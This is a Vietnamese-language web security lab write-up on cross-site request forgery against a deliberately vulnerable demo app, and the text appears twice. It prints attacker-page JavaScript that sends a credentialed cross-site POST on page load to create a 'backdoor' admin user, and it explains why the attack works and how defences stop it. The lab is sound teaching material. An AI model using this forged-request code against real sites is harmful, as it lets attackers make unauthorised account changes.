Exploit cross-site request forgery (CSRF) - Lab

Lab này được nghiên cứu thêm từ Portswigger

TL;DR - show me the fun part!

Login vào app
Exploit app
List users, chú ý một cái mới

Intro

Cross-site request foregery(CSRF) là một lỗ hổng web cho phép kẻ tấn công thực hiện một hành động mà họ không có ý định thực hiện.

Chúng ta hay xem app cho phép người dùng sau khi đã xác thực, để update email tại endpoint như này:

https://example.com/profile/updateEmail

Ở CSRS, kẻ tấn công có thể làm cho người dùng thay đổi email login với bất kỳ email nào mà kẻ tấn công muốn.

CSRF yêu cầu sự tương tác người dùng, như người dùng đã được xác thực tới trang web giả mạo

CSRF in action - app demo 👀

Trong lab này chúng ta sẽ exploit một trang web thiếu sót để hiểu và phân tích cách CSRF tấn công.

Hãy xem trang web này hoạt động:

Mở tab network monitor ở dev tool trên trình duyệt
Mở web app login page
Clicck vào login - không cần xác thực 🙈
Sau khi login thành công , app gửi trở lại một session-cookie 🍪

Session cookie có các attributes sau:

domain - valid for secure-cookie.io and all subdomains
expires - life time is 1 hour
httpOnly - cookie can’t be read by JS
path - valid for all paths, like /admin /verify /add /whatever
samesite - None means the browser will send this cookie for same-site + cross-site requests 😉
secure - cookie should be submitted over HTTPs only
value - random token in JWT format

App sẽ offers bạn như là một admin để tạo một người dùng mới. Giữ tab network đang chạy. Điền vào form để tạo một người dùng mới và nhấn add.
Xem xét HTTP request mà vừa được gửi.

POST /addUser HTTP/2 (1)
Host: csrf.secure-cookie.io (2)
Referer: https://csrf.secure-cookie.io/admin (3)
Content-Type: text/plain (4)
Origin: https://csrf.secure-cookie.io (5)
Cookie: SessionId=eyJ0eXAiOiJKV1 ...etc (6)

HTTP method là POST và endpoint là /addUser

Add host, url hoàn chỉnh là: https://csrf.secure-cookie.io/addUser

Request được tạo từ path trang:https://csrf.secure-cookie.io/admin

Data được gửi ở dạng text/plain

Request được tạo từ Orgin https://csrf.secure-cookie.io

SessionId cookie được bao gồm trong request header - chỉ người được xác thực mới có thể add người mới

Bây giờ click vào list users để verify rằng UserID mới vừa được tạo. Trước đó chúng ta tiếp tục, bạn nghĩa /addUser api là đảm bảo.

Bạn có thể chuyển request từ trình duyệt tới Burp Repeater để thao tác request. Bạn có thể cố gắng bỏ qua giá trị cookie hoặc inject stuff ở form field 😉

Giả sử endpoint là xác thực cookie trước khi tạo người dùng. Sau đó, làm thế nào một kẻ tấn công có thể khai thác API này?

CSRF in action - attack demo 🔥

Cuộc tấn công CSRF có thể được giải thích trong hình sau:

Người dùng đã được xác thực vào trang của kẻ tấn công.
Trang web của kẻ tấn công chứa code JS yêu cầu trình duyệt tạo API call tới endpoint có lỗ hổng
Trình duyệt gửi request cùng với cookie tới endpoint được request.

Sau khi vào trang web của kẻ tấn công, quay lại cổng admin và click lại List Users.....Một người dùng mới đã được tạo.

Những gì bạn vừa thấy giải thích việc đặt tên cho cross site request forgery

Request được tạo cross-site từ site của kẻ tấn công
Request đã được giả mạo mà không cần sự nhận biết của nạn nhân

Analysing the attack 🔎

Reaload lại trang web tấn công trong khi tab network đang mở.
Xem source code của page và lưu ý rằng hàm JS execute_all_attacks() sẽ được thực thi bất cứ khi nào HTML body được load trên trình duyệt. Nó cũng gọi một hàm khác attack_addUser_endpoint().

<body onload="execute_all_attacks();">
<script>
function execute_all_attacks(){
attack_addUser_endpoint();
}
</script>

☝️Điều này có nghĩa là, cuộc tấn công xảy ra ngay khi người dùng (nạn nhân) truy cập trang kẻ tấn công. Không có tương tác người dùng khác được yêu cầu (như nhấp vào nút như trong ClickJacking).

Trong tab network bạn thấy POST request được send tới endpoint /addUser. Để theo dõi function JS đã thực hiện, nhấp vào trường initiator và sau đó nhấp vào attack_adduser_endpoint(). Dưới đây là đoạn trích liên quan.

function get_post_http_headers(data, content_type){
return {
method:"POST",
body: data,
headers: {'Content-Type':content_type},
credentials: 'include'
}}

function attack_addUser_endpoint(){
backdoor_user = "user=backdoor,pass=backdoor"
var options = get_post_http_headers(data=backdoor_user,content_type='text/plain')
var request = fetch(url="https://csrf.secure-cookie.io/addUser",options);
request.catch(err => update_user_added_html())
}

Hàm trên exploit lỗ hổng endpoint /addUser:

set một backdoor_user username và password như request body.
gọi get_post_http_headers() để set HTTP headers như POST method, content-type.
Tạo cross-site rquest sử dụng fetch() đối với https://csrf.secure-cookie.io/addUser.

Trình duyệt sẽ tạo request và gửi cookies cùng request.
Nếu bạn đã đọc các same-origin policy rules. Bây giờ bạn có thể tự hỏi, đây không phải là sự vi phạm same-origin policy (SOP) vì request được thực hiện cross-origin?

🔈 Tấn công CSRF không vi phạm same-origin policy rules. SOP sẽ cho phép kẻ tấn công Write tới endpoint nhưng không READ response. Request sẽ tới endpoint nhưng JS không cho phép đọc response

Để chứng minh điều ☝️,, hãy đến Tab Console và chú ý những gì thông báo cảnh báo nói.

The Same Origin Policy disallows reading the remote resource.

Trong cuộc tấn công này, kẻ tấn công không thực sự quan tâm đến response từ /adduser. Bởi vì "backdoor user" đã được gửi bởi trình duyệt của nạn nhân. Và đó là một request được xác thực vì trình duyệt bao gồm session-id cookie trong request.

Take-away notes 📚

1. How the attacker constructed a CSRF request?

Kẻ tấn công sẽ cần biết URL API có lỗ hổng và tất cả các parameter yêu cầu cần thiết (header, body).

Nếu bất kỳ request parameter ynào là ngẫu nhiên và không thể dự đoán (như CSRF Token). Hoặc nếu nó yêu cầu tương tác người dùng (như CAPTCHA). Sau đó, cuộc tấn công sẽ thất bại.

Trình duyệt sẽ gửi cookie theo mặc định nếu tất cả các điều kiện này được đáp ứng:

cookie is not expired
requested path matches set-cookie path
requested domain matches set-cookie domain
browser specific requirement such as SameSite attribute existence in chrome

Think 💡

1. How did I know in the backend that a user was created through CSRF?

Tôi đã sử dụng referer trong header request. Nếu request không đến từ https://csrf.secure-cookie.io/admin thì tôi cho rằng đó là cuộc tấn công CSRF.

2. Why an attacker can NOT modify referer/origin header?

Bởi vì nó bị forbidden sửa đổi chúng theo chương trình.

3. Play and modify the attacker page by:-

Save the attacker page locally (include CSS and JS files).
Edit function: get_post_http_headers()
- Change content type from to - Does the attack still work?text/plainapplication/json
- Remove - Does the attack still work?credentials:include

-----------------------------------------------------------------------------

PreviousRemote Code Execution on Jinja - SSTI Lab NextExploit a misconfigured CORS - Lab

Last updated 1 year ago

Exploit cross-site request forgery (CSRF) - Lab

Lab này được nghiên cứu thêm từ Portswigger

TL;DR - show me the fun part!

Login vào app
Exploit app
List users, chú ý một cái mới

Intro

Cross-site request foregery(CSRF) là một lỗ hổng web cho phép kẻ tấn công thực hiện một hành động mà họ không có ý định thực hiện.

Chúng ta hay xem app cho phép người dùng sau khi đã xác thực, để update email tại endpoint như này:

https://example.com/profile/updateEmail

Ở CSRS, kẻ tấn công có thể làm cho người dùng thay đổi email login với bất kỳ email nào mà kẻ tấn công muốn.

CSRF yêu cầu sự tương tác người dùng, như người dùng đã được xác thực tới trang web giả mạo

CSRF in action - app demo 👀

Trong lab này chúng ta sẽ exploit một trang web thiếu sót để hiểu và phân tích cách CSRF tấn công.

Hãy xem trang web này hoạt động:

Mở tab network monitor ở dev tool trên trình duyệt
Mở web app login page
Clicck vào login - không cần xác thực 🙈
Sau khi login thành công , app gửi trở lại một session-cookie 🍪

Session cookie có các attributes sau:

domain - valid for secure-cookie.io and all subdomains
expires - life time is 1 hour
httpOnly - cookie can’t be read by JS
path - valid for all paths, like /admin /verify /add /whatever
samesite - None means the browser will send this cookie for same-site + cross-site requests 😉
secure - cookie should be submitted over HTTPs only
value - random token in JWT format

App sẽ offers bạn như là một admin để tạo một người dùng mới. Giữ tab network đang chạy. Điền vào form để tạo một người dùng mới và nhấn add.
Xem xét HTTP request mà vừa được gửi.

POST /addUser HTTP/2 (1)
Host: csrf.secure-cookie.io (2)
Referer: https://csrf.secure-cookie.io/admin (3)
Content-Type: text/plain (4)
Origin: https://csrf.secure-cookie.io (5)
Cookie: SessionId=eyJ0eXAiOiJKV1 ...etc (6)

HTTP method là POST và endpoint là /addUser

Add host, url hoàn chỉnh là: https://csrf.secure-cookie.io/addUser

Request được tạo từ path trang:https://csrf.secure-cookie.io/admin

Data được gửi ở dạng text/plain

Request được tạo từ Orgin https://csrf.secure-cookie.io

SessionId cookie được bao gồm trong request header - chỉ người được xác thực mới có thể add người mới

Bây giờ click vào list users để verify rằng UserID mới vừa được tạo. Trước đó chúng ta tiếp tục, bạn nghĩa /addUser api là đảm bảo.

Bạn có thể chuyển request từ trình duyệt tới Burp Repeater để thao tác request. Bạn có thể cố gắng bỏ qua giá trị cookie hoặc inject stuff ở form field 😉

Giả sử endpoint là xác thực cookie trước khi tạo người dùng. Sau đó, làm thế nào một kẻ tấn công có thể khai thác API này?

CSRF in action - attack demo 🔥

Cuộc tấn công CSRF có thể được giải thích trong hình sau:

Người dùng đã được xác thực vào trang của kẻ tấn công.
Trang web của kẻ tấn công chứa code JS yêu cầu trình duyệt tạo API call tới endpoint có lỗ hổng
Trình duyệt gửi request cùng với cookie tới endpoint được request.

Sau khi vào trang web của kẻ tấn công, quay lại cổng admin và click lại List Users.....Một người dùng mới đã được tạo.

Những gì bạn vừa thấy giải thích việc đặt tên cho cross site request forgery

Request được tạo cross-site từ site của kẻ tấn công
Request đã được giả mạo mà không cần sự nhận biết của nạn nhân

Analysing the attack 🔎

Reaload lại trang web tấn công trong khi tab network đang mở.
Xem source code của page và lưu ý rằng hàm JS execute_all_attacks() sẽ được thực thi bất cứ khi nào HTML body được load trên trình duyệt. Nó cũng gọi một hàm khác attack_addUser_endpoint().

<body onload="execute_all_attacks();">
<script>
function execute_all_attacks(){
attack_addUser_endpoint();
}
</script>

Trong tab network bạn thấy POST request được send tới endpoint /addUser. Để theo dõi function JS đã thực hiện, nhấp vào trường initiator và sau đó nhấp vào attack_adduser_endpoint(). Dưới đây là đoạn trích liên quan.

function get_post_http_headers(data, content_type){
return {
method:"POST",
body: data,
headers: {'Content-Type':content_type},
credentials: 'include'
}}

function attack_addUser_endpoint(){
backdoor_user = "user=backdoor,pass=backdoor"
var options = get_post_http_headers(data=backdoor_user,content_type='text/plain')
var request = fetch(url="https://csrf.secure-cookie.io/addUser",options);
request.catch(err => update_user_added_html())
}

Hàm trên exploit lỗ hổng endpoint /addUser:

set một backdoor_user username và password như request body.
gọi get_post_http_headers() để set HTTP headers như POST method, content-type.
Tạo cross-site rquest sử dụng fetch() đối với https://csrf.secure-cookie.io/addUser.

Trình duyệt sẽ tạo request và gửi cookies cùng request.
Nếu bạn đã đọc các same-origin policy rules. Bây giờ bạn có thể tự hỏi, đây không phải là sự vi phạm same-origin policy (SOP) vì request được thực hiện cross-origin?

Để chứng minh điều ☝️,, hãy đến Tab Console và chú ý những gì thông báo cảnh báo nói.

The Same Origin Policy disallows reading the remote resource.

Take-away notes 📚

1. How the attacker constructed a CSRF request?

Kẻ tấn công sẽ cần biết URL API có lỗ hổng và tất cả các parameter yêu cầu cần thiết (header, body).

Trình duyệt sẽ gửi cookie theo mặc định nếu tất cả các điều kiện này được đáp ứng:

cookie is not expired
requested path matches set-cookie path
requested domain matches set-cookie domain
browser specific requirement such as SameSite attribute existence in chrome

Think 💡

1. How did I know in the backend that a user was created through CSRF?

Tôi đã sử dụng referer trong header request. Nếu request không đến từ https://csrf.secure-cookie.io/admin thì tôi cho rằng đó là cuộc tấn công CSRF.

2. Why an attacker can NOT modify referer/origin header?

Bởi vì nó bị forbidden sửa đổi chúng theo chương trình.

3. Play and modify the attacker page by:-

Save the attacker page locally (include CSS and JS files).
Edit function: get_post_http_headers()
- Change content type from to - Does the attack still work?text/plainapplication/json
- Remove - Does the attack still work?credentials:include

-----------------------------------------------------------------------------

PreviousRemote Code Execution on Jinja - SSTI Lab NextExploit a misconfigured CORS - Lab

Last updated 1 year ago

TL;DR - show me the fun part!

Intro

CSRF in action - app demo 👀

CSRF in action - attack demo 🔥

Analysing the attack 🔎

Take-away notes 📚

1. How the attacker constructed a CSRF request?

2. When the browser sends a cookie(s) automatically?

Think 💡

1. How did I know in the backend that a user was created through CSRF?

2. Why an attacker can NOT modify referer/origin header?

3. Play and modify the attacker page by:-

TL;DR - show me the fun part!

Intro

CSRF in action - app demo 👀

CSRF in action - attack demo 🔥

Analysing the attack 🔎

Take-away notes 📚

1. How the attacker constructed a CSRF request?

2. When the browser sends a cookie(s) automatically?

Think 💡

1. How did I know in the backend that a user was created through CSRF?

2. Why an attacker can NOT modify referer/origin header?

3. Play and modify the attacker page by:-